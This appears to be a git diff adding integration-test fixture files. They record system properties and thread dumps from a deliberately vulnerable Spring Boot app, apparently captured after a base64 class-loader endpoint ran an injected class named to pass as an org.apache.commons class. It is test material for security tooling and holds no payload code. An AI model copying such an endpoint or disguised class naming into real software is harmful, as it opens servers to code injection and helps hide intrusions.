java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-6" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-3" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-10" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Catalina-utility-1" #19 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@223cf48f + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"http-nio-8080-Poller" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:912) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-9" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-5" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.apache.commons.XRksM.ErrorGfecaHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:22) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.17/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.17/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:252) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:184) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:934) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:853) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:86) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:963) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:866) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1000) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:903) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:649) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:874) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:710) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:59) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:199) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:165) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:77) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:535) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:86) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:71) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:347) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:406) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:71) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:1307) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:2036) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:74) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:949) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Catalina-utility-2" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@223cf48f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-Acceptor" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:626) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:71) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:145) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6a74e428 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"DestroyJavaVM" #34 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"container-0" #21 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:522) + at org.springframework.boot.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:216) + +"http-nio-8080-exec-7" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e42fb29 + java.lang.Thread.State: WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"http-nio-8080-exec-4" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController +jakarta.servlet.http.HttpServlet +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.commons.XRksM.ErrorGfecaHandler +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter +org.springframework.boot.tomcat.TomcatWebServer$1 +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt new file mode 100644 index 00000000..db363b78 --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt @@ -0,0 +1,279 @@ +# Generated At 2026-08-21 07:15:00 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +APPLICATION_NAME: vul-springboot4 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.17+10 +user.name: root +path.separator: : +os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.17+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +java.version: 17.0.17 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.17+10 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 +LOGGED_APPLICATION_NAME: [vul-springboot4] + +=========================================== + +ThreadStacks: +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-2" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@636af96d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"server" #21 [WAITING] on java.util.concurrent.CountDownLatch$Sync@34173b14 + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:211) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:715) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1047) + at java.base@17.0.17/java.util.concurrent.CountDownLatch.await(CountDownLatch.java:230) + at reactor.core.publisher.BlockingSingleSubscriber.blockingGet(BlockingSingleSubscriber.java:91) + at reactor.core.publisher.Mono.block(Mono.java:1773) + at org.springframework.boot.reactor.netty.NettyWebServer$1.run(NettyWebServer.java:231) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1ac9929 + java.lang.Thread.State: WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"DestroyJavaVM" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-5" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.apache.commons.XZlyH.ErrorUnpvzHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.lambda$handleFormSubmission$0(Base64ClassLoaderController.java:32) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda$1035/0x0000008801469f58.apply(Unknown Source) + at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:132) + at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1861) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.signalCached(MonoCacheTime.java:353) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.onNext(MonoCacheTime.java:372) + at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:75) + at reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber.onNext(FluxMapFuseable.java:130) + at reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber.onNext(FluxContextWrite.java:109) + at reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber.onNext(FluxMapFuseable.java:300) + at reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber.onNext(FluxFilterFuseable.java:338) + at reactor.core.publisher.Operators$BaseFluxToMonoOperator.completePossiblyEmpty(Operators.java:2093) + at reactor.core.publisher.MonoCollect$CollectSubscriber.onComplete(MonoCollect.java:144) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.core.publisher.FluxPeek$PeekSubscriber.onComplete(FluxPeek.java:263) + at 